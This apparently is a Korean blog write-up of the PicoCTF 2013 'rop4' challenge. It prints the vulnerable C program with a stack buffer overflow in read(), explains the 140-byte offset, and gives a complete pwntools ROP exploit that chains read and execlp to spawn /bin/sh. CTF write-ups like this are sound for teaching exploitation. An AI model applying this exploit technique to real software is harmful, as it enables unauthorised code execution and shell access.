System&Write up/CTF

[Pico CTF 2013] rop4

Jubil 2018. 1. 21. 14:22
반응형

[PicoCTF-2013]

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

#include <stdio.h>

#include <unistd.h>

#include <string.h>

 

char exec_string[20];

 

void exec_the_string() {

    execlp(exec_string, exec_string, NULL);

}

 

void call_me_with_cafebabe(int cafebabe) {

    if (cafebabe == 0xcafebabe) {

        strcpy(exec_string, "/sh");

    }

}

 

void call_me_with_two_args(int deadbeef, int cafebabe) {

    if (cafebabe == 0xcafebabe && deadbeef == 0xdeadbeef) {

        strcpy(exec_string, "/bin");

    }

}

 

void vulnerable_function() {

    char buf[128];

    read(STDIN_FILENO, buf, 512);

}

 

void be_nice_to_people() {

    // /bin/sh is usually symlinked to bash, which usually drops privs. Make

    // sure we don't drop privs if we exec bash, (ie if we call system()).

    gid_t gid = getegid();

    setresgid(gid, gid, gid);

}

 

int main(int argc, char** argv) {

    exec_string[0= '\0';

    be_nice_to_people();

    vulnerable_function();

}

Colored by Color Scripter

cs

 

맨 처음에는 함수들을 연속 호출해서 “/bin/sh”를 만들어서 실행하는 걸로 오해하기 쉽지만, strcpy는 이어 붙이지 못합니다. (strcat이면 몰라도..)

 

그래서 readexeclp 함수가 주어졌으니 “/bin/sh” 문자열을 저장해놓고 execlp로 실행하면 될 것 같습니다.

 

일단 read 함수에서 BOF 취약점이 터지기 때문에 return address를 조작하기 위해서 거리를 구해봅시다.

 

 


 

buf의 시작 위치는 ebp-0x88, return addressebp+0x4에 있습니다.

 

둘의 거리는 140byte입니다.

 

 

시나리오 :

1.     return addressread 함수의 주소로 변조합니다.

2.     .bss 영역에 “/bin/sh” 문자열을 받습니다.

3.     ppprexeclp 함수를 실행합니다.

4.     인자로 .bss, .bss, NULL을 넘겨줍니다.

 

 


 

필요한 건 다 구했습니다.

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

from pwn import *

 

= process('./rop4')

= ELF('./rop4')

 

execlp = 0x08053ab0

read = 0x08053d1f

 

pppr = 0x0804859c

 

payload = ""

payload += "A"*140

 

payload += p32(read)

payload += p32(pppr)

payload += p32(0)

payload += p32(e.bss())

payload += p32(7)

 

payload += p32(execlp)

payload += "AAAA"

payload += p32(e.bss())

payload += p32(e.bss())

payload += p32(0)

 

s.sendline(payload)

 

s.sendline("/bin/sh")

 

s.interactive()

cs

 

 


 

쉘을 취득했습니다.

반응형

'System&Write up > CTF' 카테고리의 다른 글

[Codegate 2014] angry_doraemon  (0) 2018.01.30
[Codegate 2017] babypwn  (0) 2018.01.29
[Pico CTF 2013] rop3  (0) 2018.01.20
[Pico CTF 2013] rop2  (0) 2018.01.19
[Pico CTF 2013] rop1  (0) 2018.01.18